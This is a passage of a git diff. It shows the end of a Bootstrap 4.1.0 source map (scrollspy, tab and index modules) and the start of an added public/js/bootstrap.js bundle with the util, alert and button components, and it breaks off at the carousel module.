scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst ScrollSpy = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'scrollspy'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.scrollspy'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n  const Default = {\n    offset : 10,\n    method : 'auto',\n    target : ''\n  }\n\n  const DefaultType = {\n    offset : 'number',\n    method : 'string',\n    target : '(string|element)'\n  }\n\n  const Event = {\n    ACTIVATE      : `activate${EVENT_KEY}`,\n    SCROLL        : `scroll${EVENT_KEY}`,\n    LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DROPDOWN_ITEM : 'dropdown-item',\n    DROPDOWN_MENU : 'dropdown-menu',\n    ACTIVE        : 'active'\n  }\n\n  const Selector = {\n    DATA_SPY        : '[data-spy=\"scroll\"]',\n    ACTIVE          : '.active',\n    NAV_LIST_GROUP  : '.nav, .list-group',\n    NAV_LINKS       : '.nav-link',\n    NAV_ITEMS       : '.nav-item',\n    LIST_ITEMS      : '.list-group-item',\n    DROPDOWN        : '.dropdown',\n    DROPDOWN_ITEMS  : '.dropdown-item',\n    DROPDOWN_TOGGLE : '.dropdown-toggle'\n  }\n\n  const OffsetMethod = {\n    OFFSET   : 'offset',\n    POSITION : 'position'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class ScrollSpy {\n    constructor(element, config) {\n      this._element       = element\n      this._scrollElement = element.tagName === 'BODY' ? window : element\n      this._config        = this._getConfig(config)\n      this._selector      = `${this._config.target} ${Selector.NAV_LINKS},` +\n                            `${this._config.target} ${Selector.LIST_ITEMS},` +\n                            `${this._config.target} ${Selector.DROPDOWN_ITEMS}`\n      this._offsets       = []\n      this._targets       = []\n      this._activeTarget  = null\n      this._scrollHeight  = 0\n\n      $(this._scrollElement).on(Event.SCROLL, (event) => this._process(event))\n\n      this.refresh()\n      this._process()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    refresh() {\n      const autoMethod = this._scrollElement === this._scrollElement.window\n        ? OffsetMethod.OFFSET : OffsetMethod.POSITION\n\n      const offsetMethod = this._config.method === 'auto'\n        ? autoMethod : this._config.method\n\n      const offsetBase = offsetMethod === OffsetMethod.POSITION\n        ? this._getScrollTop() : 0\n\n      this._offsets = []\n      this._targets = []\n\n      this._scrollHeight = this._getScrollHeight()\n\n      const targets = $.makeArray($(this._selector))\n\n      targets\n        .map((element) => {\n          let target\n          const targetSelector = Util.getSelectorFromElement(element)\n\n          if (targetSelector) {\n            target = $(targetSelector)[0]\n          }\n\n          if (target) {\n            const targetBCR = target.getBoundingClientRect()\n            if (targetBCR.width || targetBCR.height) {\n              // TODO (fat): remove sketch reliance on jQuery position/offset\n              return [\n                $(target)[offsetMethod]().top + offsetBase,\n                targetSelector\n              ]\n            }\n          }\n          return null\n        })\n        .filter((item) => item)\n        .sort((a, b) => a[0] - b[0])\n        .forEach((item) => {\n          this._offsets.push(item[0])\n          this._targets.push(item[1])\n        })\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      $(this._scrollElement).off(EVENT_KEY)\n\n      this._element       = null\n      this._scrollElement = null\n      this._config        = null\n      this._selector      = null\n      this._offsets       = null\n      this._targets       = null\n      this._activeTarget  = null\n      this._scrollHeight  = null\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n\n      if (typeof config.target !== 'string') {\n        let id = $(config.target).attr('id')\n        if (!id) {\n          id = Util.getUID(NAME)\n          $(config.target).attr('id', id)\n        }\n        config.target = `#${id}`\n      }\n\n      Util.typeCheckConfig(NAME, config, DefaultType)\n\n      return config\n    }\n\n    _getScrollTop() {\n      return this._scrollElement === window\n        ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n    }\n\n    _getScrollHeight() {\n      return this._scrollElement.scrollHeight || Math.max(\n        document.body.scrollHeight,\n        document.documentElement.scrollHeight\n      )\n    }\n\n    _getOffsetHeight() {\n      return this._scrollElement === window\n        ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n    }\n\n    _process() {\n      const scrollTop    = this._getScrollTop() + this._config.offset\n      const scrollHeight = this._getScrollHeight()\n      const maxScroll    = this._config.offset +\n        scrollHeight -\n        this._getOffsetHeight()\n\n      if (this._scrollHeight !== scrollHeight) {\n        this.refresh()\n      }\n\n      if (scrollTop >= maxScroll) {\n        const target = this._targets[this._targets.length - 1]\n\n        if (this._activeTarget !== target) {\n          this._activate(target)\n        }\n        return\n      }\n\n      if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n        this._activeTarget = null\n        this._clear()\n        return\n      }\n\n      for (let i = this._offsets.length; i--;) {\n        const isActiveTarget = this._activeTarget !== this._targets[i] &&\n            scrollTop >= this._offsets[i] &&\n            (typeof this._offsets[i + 1] === 'undefined' ||\n                scrollTop < this._offsets[i + 1])\n\n        if (isActiveTarget) {\n          this._activate(this._targets[i])\n        }\n      }\n    }\n\n    _activate(target) {\n      this._activeTarget = target\n\n      this._clear()\n\n      let queries = this._selector.split(',')\n      // eslint-disable-next-line arrow-body-style\n      queries = queries.map((selector) => {\n        return `${selector}[data-target=\"${target}\"],` +\n               `${selector}[href=\"${target}\"]`\n      })\n\n      const $link = $(queries.join(','))\n\n      if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n        $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n        $link.addClass(ClassName.ACTIVE)\n      } else {\n        // Set triggered link as active\n        $link.addClass(ClassName.ACTIVE)\n        // Set triggered links parents as active\n        // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n        $link.parents(Selector.NAV_LIST_GROUP).prev(`${Selector.NAV_LINKS}, ${Selector.LIST_ITEMS}`).addClass(ClassName.ACTIVE)\n        // Handle special case when .nav-link is inside .nav-item\n        $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE)\n      }\n\n      $(this._scrollElement).trigger(Event.ACTIVATE, {\n        relatedTarget: target\n      })\n    }\n\n    _clear() {\n      $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE)\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' && config\n\n        if (!data) {\n          data = new ScrollSpy(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(window).on(Event.LOAD_DATA_API, () => {\n    const scrollSpys = $.makeArray($(Selector.DATA_SPY))\n\n    for (let i = scrollSpys.length; i--;) {\n      const $spy = $(scrollSpys[i])\n      ScrollSpy._jQueryInterface.call($spy, $spy.data())\n    }\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = ScrollSpy._jQueryInterface\n  $.fn[NAME].Constructor = ScrollSpy\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return ScrollSpy._jQueryInterface\n  }\n\n  return ScrollSpy\n})($)\n\nexport default ScrollSpy\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tab = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'tab'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.tab'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n  const Event = {\n    HIDE           : `hide${EVENT_KEY}`,\n    HIDDEN         : `hidden${EVENT_KEY}`,\n    SHOW           : `show${EVENT_KEY}`,\n    SHOWN          : `shown${EVENT_KEY}`,\n    CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DROPDOWN_MENU : 'dropdown-menu',\n    ACTIVE        : 'active',\n    DISABLED      : 'disabled',\n    FADE          : 'fade',\n    SHOW          : 'show'\n  }\n\n  const Selector = {\n    DROPDOWN              : '.dropdown',\n    NAV_LIST_GROUP        : '.nav, .list-group',\n    ACTIVE                : '.active',\n    ACTIVE_UL             : '> li > .active',\n    DATA_TOGGLE           : '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n    DROPDOWN_TOGGLE       : '.dropdown-toggle',\n    DROPDOWN_ACTIVE_CHILD : '> .dropdown-menu .active'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Tab {\n    constructor(element) {\n      this._element = element\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    // Public\n\n    show() {\n      if (this._element.parentNode &&\n          this._element.parentNode.nodeType === Node.ELEMENT_NODE &&\n          $(this._element).hasClass(ClassName.ACTIVE) ||\n          $(this._element).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      let target\n      let previous\n      const listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0]\n      const selector = Util.getSelectorFromElement(this._element)\n\n      if (listElement) {\n        const itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE\n        previous = $.makeArray($(listElement).find(itemSelector))\n        previous = previous[previous.length - 1]\n      }\n\n      const hideEvent = $.Event(Event.HIDE, {\n        relatedTarget: this._element\n      })\n\n      const showEvent = $.Event(Event.SHOW, {\n        relatedTarget: previous\n      })\n\n      if (previous) {\n        $(previous).trigger(hideEvent)\n      }\n\n      $(this._element).trigger(showEvent)\n\n      if (showEvent.isDefaultPrevented() ||\n         hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      if (selector) {\n        target = $(selector)[0]\n      }\n\n      this._activate(\n        this._element,\n        listElement\n      )\n\n      const complete = () => {\n        const hiddenEvent = $.Event(Event.HIDDEN, {\n          relatedTarget: this._element\n        })\n\n        const shownEvent = $.Event(Event.SHOWN, {\n          relatedTarget: previous\n        })\n\n        $(previous).trigger(hiddenEvent)\n        $(this._element).trigger(shownEvent)\n      }\n\n      if (target) {\n        this._activate(target, target.parentNode, complete)\n      } else {\n        complete()\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      this._element = null\n    }\n\n    // Private\n\n    _activate(element, container, callback) {\n      let activeElements\n      if (container.nodeName === 'UL') {\n        activeElements = $(container).find(Selector.ACTIVE_UL)\n      } else {\n        activeElements = $(container).children(Selector.ACTIVE)\n      }\n\n      const active = activeElements[0]\n      const isTransitioning = callback &&\n        (active && $(active).hasClass(ClassName.FADE))\n\n      const complete = () => this._transitionComplete(\n        element,\n        active,\n        callback\n      )\n\n      if (active && isTransitioning) {\n        const transitionDuration = Util.getTransitionDurationFromElement(active)\n\n        $(active)\n          .one(Util.TRANSITION_END, complete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        complete()\n      }\n    }\n\n    _transitionComplete(element, active, callback) {\n      if (active) {\n        $(active).removeClass(`${ClassName.SHOW} ${ClassName.ACTIVE}`)\n\n        const dropdownChild = $(active.parentNode).find(\n          Selector.DROPDOWN_ACTIVE_CHILD\n        )[0]\n\n        if (dropdownChild) {\n          $(dropdownChild).removeClass(ClassName.ACTIVE)\n        }\n\n        if (active.getAttribute('role') === 'tab') {\n          active.setAttribute('aria-selected', false)\n        }\n      }\n\n      $(element).addClass(ClassName.ACTIVE)\n      if (element.getAttribute('role') === 'tab') {\n        element.setAttribute('aria-selected', true)\n      }\n\n      Util.reflow(element)\n      $(element).addClass(ClassName.SHOW)\n\n      if (element.parentNode &&\n          $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n        const dropdownElement = $(element).closest(Selector.DROPDOWN)[0]\n        if (dropdownElement) {\n          $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n        }\n\n        element.setAttribute('aria-expanded', true)\n      }\n\n      if (callback) {\n        callback()\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        const $this = $(this)\n        let data = $this.data(DATA_KEY)\n\n        if (!data) {\n          data = new Tab(this)\n          $this.data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n      event.preventDefault()\n      Tab._jQueryInterface.call($(this), 'show')\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tab._jQueryInterface\n  $.fn[NAME].Constructor = Tab\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Tab._jQueryInterface\n  }\n\n  return Tab\n})($)\n\nexport default Tab\n","import $ from 'jquery'\nimport Alert from './alert'\nimport Button from './button'\nimport Carousel from './carousel'\nimport Collapse from './collapse'\nimport Dropdown from './dropdown'\nimport Modal from './modal'\nimport Popover from './popover'\nimport Scrollspy from './scrollspy'\nimport Tab from './tab'\nimport Tooltip from './tooltip'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0): index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n(($) => {\n  if (typeof $ === 'undefined') {\n    throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n  }\n\n  const version = $.fn.jquery.split(' ')[0].split('.')\n  const minMajor = 1\n  const ltMajor = 2\n  const minMinor = 9\n  const minPatch = 1\n  const maxMajor = 4\n\n  if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {\n    throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n  }\n})($)\n\nexport {\n  Util,\n  Alert,\n  Button,\n  Carousel,\n  Collapse,\n  Dropdown,\n  Modal,\n  Popover,\n  Scrollspy,\n  Tab,\n  Tooltip\n}\n"]}
\ No newline at end of file
diff --git a/public/js/bootstrap.js b/public/js/bootstrap.js
new file mode 100644
index 0000000..546a94f
--- /dev/null
+++ b/public/js/bootstrap.js
@@ -0,0 +1,3925 @@
+/*!
+  * Bootstrap v4.1.0 (https://getbootstrap.com/)
+  * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
+  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+  */
+(function (global, factory) {
+  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('jquery'), require('popper.js')) :
+  typeof define === 'function' && define.amd ? define(['exports', 'jquery', 'popper.js'], factory) :
+  (factory((global.bootstrap = {}),global.jQuery,global.Popper));
+}(this, (function (exports,$,Popper) { 'use strict';
+
+  $ = $ && $.hasOwnProperty('default') ? $['default'] : $;
+  Popper = Popper && Popper.hasOwnProperty('default') ? Popper['default'] : Popper;
+
+  function _defineProperties(target, props) {
+    for (var i = 0; i < props.length; i++) {
+      var descriptor = props[i];
+      descriptor.enumerable = descriptor.enumerable || false;
+      descriptor.configurable = true;
+      if ("value" in descriptor) descriptor.writable = true;
+      Object.defineProperty(target, descriptor.key, descriptor);
+    }
+  }
+
+  function _createClass(Constructor, protoProps, staticProps) {
+    if (protoProps) _defineProperties(Constructor.prototype, protoProps);
+    if (staticProps) _defineProperties(Constructor, staticProps);
+    return Constructor;
+  }
+
+  function _defineProperty(obj, key, value) {
+    if (key in obj) {
+      Object.defineProperty(obj, key, {
+        value: value,
+        enumerable: true,
+        configurable: true,
+        writable: true
+      });
+    } else {
+      obj[key] = value;
+    }
+
+    return obj;
+  }
+
+  function _objectSpread(target) {
+    for (var i = 1; i < arguments.length; i++) {
+      var source = arguments[i] != null ? arguments[i] : {};
+      var ownKeys = Object.keys(source);
+
+      if (typeof Object.getOwnPropertySymbols === 'function') {
+        ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {
+          return Object.getOwnPropertyDescriptor(source, sym).enumerable;
+        }));
+      }
+
+      ownKeys.forEach(function (key) {
+        _defineProperty(target, key, source[key]);
+      });
+    }
+
+    return target;
+  }
+
+  function _inheritsLoose(subClass, superClass) {
+    subClass.prototype = Object.create(superClass.prototype);
+    subClass.prototype.constructor = subClass;
+    subClass.__proto__ = superClass;
+  }
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): util.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Util = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Private TransitionEnd Helpers
+     * ------------------------------------------------------------------------
+     */
+    var TRANSITION_END = 'transitionend';
+    var MAX_UID = 1000000;
+    var MILLISECONDS_MULTIPLIER = 1000; // Shoutout AngusCroll (https://goo.gl/pxwQGp)
+
+    function toType(obj) {
+      return {}.toString.call(obj).match(/\s([a-z]+)/i)[1].toLowerCase();
+    }
+
+    function getSpecialTransitionEndEvent() {
+      return {
+        bindType: TRANSITION_END,
+        delegateType: TRANSITION_END,
+        handle: function handle(event) {
+          if ($$$1(event.target).is(this)) {
+            return event.handleObj.handler.apply(this, arguments); // eslint-disable-line prefer-rest-params
+          }
+
+          return undefined; // eslint-disable-line no-undefined
+        }
+      };
+    }
+
+    function transitionEndEmulator(duration) {
+      var _this = this;
+
+      var called = false;
+      $$$1(this).one(Util.TRANSITION_END, function () {
+        called = true;
+      });
+      setTimeout(function () {
+        if (!called) {
+          Util.triggerTransitionEnd(_this);
+        }
+      }, duration);
+      return this;
+    }
+
+    function setTransitionEndSupport() {
+      $$$1.fn.emulateTransitionEnd = transitionEndEmulator;
+      $$$1.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent();
+    }
+    /**
+     * --------------------------------------------------------------------------
+     * Public Util Api
+     * --------------------------------------------------------------------------
+     */
+
+
+    var Util = {
+      TRANSITION_END: 'bsTransitionEnd',
+      getUID: function getUID(prefix) {
+        do {
+          // eslint-disable-next-line no-bitwise
+          prefix += ~~(Math.random() * MAX_UID); // "~~" acts like a faster Math.floor() here
+        } while (document.getElementById(prefix));
+
+        return prefix;
+      },
+      getSelectorFromElement: function getSelectorFromElement(element) {
+        var selector = element.getAttribute('data-target');
+
+        if (!selector || selector === '#') {
+          selector = element.getAttribute('href') || '';
+        }
+
+        try {
+          var $selector = $$$1(document).find(selector);
+          return $selector.length > 0 ? selector : null;
+        } catch (err) {
+          return null;
+        }
+      },
+      getTransitionDurationFromElement: function getTransitionDurationFromElement(element) {
+        if (!element) {
+          return 0;
+        } // Get transition-duration of the element
+
+
+        var transitionDuration = $$$1(element).css('transition-duration');
+        var floatTransitionDuration = parseFloat(transitionDuration); // Return 0 if element or transition duration is not found
+
+        if (!floatTransitionDuration) {
+          return 0;
+        } // If multiple durations are defined, take the first
+
+
+        transitionDuration = transitionDuration.split(',')[0];
+        return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER;
+      },
+      reflow: function reflow(element) {
+        return element.offsetHeight;
+      },
+      triggerTransitionEnd: function triggerTransitionEnd(element) {
+        $$$1(element).trigger(TRANSITION_END);
+      },
+      // TODO: Remove in v5
+      supportsTransitionEnd: function supportsTransitionEnd() {
+        return Boolean(TRANSITION_END);
+      },
+      isElement: function isElement(obj) {
+        return (obj[0] || obj).nodeType;
+      },
+      typeCheckConfig: function typeCheckConfig(componentName, config, configTypes) {
+        for (var property in configTypes) {
+          if (Object.prototype.hasOwnProperty.call(configTypes, property)) {
+            var expectedTypes = configTypes[property];
+            var value = config[property];
+            var valueType = value && Util.isElement(value) ? 'element' : toType(value);
+
+            if (!new RegExp(expectedTypes).test(valueType)) {
+              throw new Error(componentName.toUpperCase() + ": " + ("Option \"" + property + "\" provided type \"" + valueType + "\" ") + ("but expected type \"" + expectedTypes + "\"."));
+            }
+          }
+        }
+      }
+    };
+    setTransitionEndSupport();
+    return Util;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): alert.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Alert = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'alert';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.alert';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var Selector = {
+      DISMISS: '[data-dismiss="alert"]'
+    };
+    var Event = {
+      CLOSE: "close" + EVENT_KEY,
+      CLOSED: "closed" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      ALERT: 'alert',
+      FADE: 'fade',
+      SHOW: 'show'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Alert =
+    /*#__PURE__*/
+    function () {
+      function Alert(element) {
+        this._element = element;
+      } // Getters
+
+
+      var _proto = Alert.prototype;
+
+      // Public
+      _proto.close = function close(element) {
+        element = element || this._element;
+
+        var rootElement = this._getRootElement(element);
+
+        var customEvent = this._triggerCloseEvent(rootElement);
+
+        if (customEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        this._removeElement(rootElement);
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        this._element = null;
+      }; // Private
+
+
+      _proto._getRootElement = function _getRootElement(element) {
+        var selector = Util.getSelectorFromElement(element);
+        var parent = false;
+
+        if (selector) {
+          parent = $$$1(selector)[0];
+        }
+
+        if (!parent) {
+          parent = $$$1(element).closest("." + ClassName.ALERT)[0];
+        }
+
+        return parent;
+      };
+
+      _proto._triggerCloseEvent = function _triggerCloseEvent(element) {
+        var closeEvent = $$$1.Event(Event.CLOSE);
+        $$$1(element).trigger(closeEvent);
+        return closeEvent;
+      };
+
+      _proto._removeElement = function _removeElement(element) {
+        var _this = this;
+
+        $$$1(element).removeClass(ClassName.SHOW);
+
+        if (!$$$1(element).hasClass(ClassName.FADE)) {
+          this._destroyElement(element);
+
+          return;
+        }
+
+        var transitionDuration = Util.getTransitionDurationFromElement(element);
+        $$$1(element).one(Util.TRANSITION_END, function (event) {
+          return _this._destroyElement(element, event);
+        }).emulateTransitionEnd(transitionDuration);
+      };
+
+      _proto._destroyElement = function _destroyElement(element) {
+        $$$1(element).detach().trigger(Event.CLOSED).remove();
+      }; // Static
+
+
+      Alert._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var $element = $$$1(this);
+          var data = $element.data(DATA_KEY);
+
+          if (!data) {
+            data = new Alert(this);
+            $element.data(DATA_KEY, data);
+          }
+
+          if (config === 'close') {
+            data[config](this);
+          }
+        });
+      };
+
+      Alert._handleDismiss = function _handleDismiss(alertInstance) {
+        return function (event) {
+          if (event) {
+            event.preventDefault();
+          }
+
+          alertInstance.close(this);
+        };
+      };
+
+      _createClass(Alert, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }]);
+
+      return Alert;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DISMISS, Alert._handleDismiss(new Alert()));
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Alert._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Alert;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Alert._jQueryInterface;
+    };
+
+    return Alert;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): button.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Button = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'button';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.button';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var ClassName = {
+      ACTIVE: 'active',
+      BUTTON: 'btn',
+      FOCUS: 'focus'
+    };
+    var Selector = {
+      DATA_TOGGLE_CARROT: '[data-toggle^="button"]',
+      DATA_TOGGLE: '[data-toggle="buttons"]',
+      INPUT: 'input',
+      ACTIVE: '.active',
+      BUTTON: '.btn'
+    };
+    var Event = {
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY,
+      FOCUS_BLUR_DATA_API: "focus" + EVENT_KEY + DATA_API_KEY + " " + ("blur" + EVENT_KEY + DATA_API_KEY)
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Button =
+    /*#__PURE__*/
+    function () {
+      function Button(element) {
+        this._element = element;
+      } // Getters
+
+
+      var _proto = Button.prototype;
+
+      // Public
+      _proto.toggle = function toggle() {
+        var triggerChangeEvent = true;
+        var addAriaPressed = true;
+        var rootElement = $$$1(this._element).closest(Selector.DATA_TOGGLE)[0];
+
+        if (rootElement) {
+          var input = $$$1(this._element).find(Selector.INPUT)[0];
+
+          if (input) {
+            if (input.type === 'radio') {
+              if (input.checked && $$$1(this._element).hasClass(ClassName.ACTIVE)) {
+                triggerChangeEvent = false;
+              } else {
+                var activeElement = $$$1(rootElement).find(Selector.ACTIVE)[0];
+
+                if (activeElement) {
+                  $$$1(activeElement).removeClass(ClassName.ACTIVE);
+                }
+              }
+            }
+
+            if (triggerChangeEvent) {
+              if (input.hasAttribute('disabled') || rootElement.hasAttribute('disabled') || input.classList.contains('disabled') || rootElement.classList.contains('disabled')) {
+                return;
+              }
+
+              input.checked = !$$$1(this._element).hasClass(ClassName.ACTIVE);
+              $$$1(input).trigger('change');
+            }
+
+            input.focus();
+            addAriaPressed = false;
+          }
+        }
+
+        if (addAriaPressed) {
+          this._element.setAttribute('aria-pressed', !$$$1(this._element).hasClass(ClassName.ACTIVE));
+        }
+
+        if (triggerChangeEvent) {
+          $$$1(this._element).toggleClass(ClassName.ACTIVE);
+        }
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        this._element = null;
+      }; // Static
+
+
+      Button._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          if (!data) {
+            data = new Button(this);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (config === 'toggle') {
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Button, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }]);
+
+      return Button;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) {
+      event.preventDefault();
+      var button = event.target;
+
+      if (!$$$1(button).hasClass(ClassName.BUTTON)) {
+        button = $$$1(button).closest(Selector.BUTTON);
+      }
+
+      Button._jQueryInterface.call($$$1(button), 'toggle');
+    }).on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, function (event) {
+      var button = $$$1(event.target).closest(Selector.BUTTON)[0];
+      $$$1(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type));
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Button._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Button;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Button._jQueryInterface;
+    };
+
+    return Button;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): carousel.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
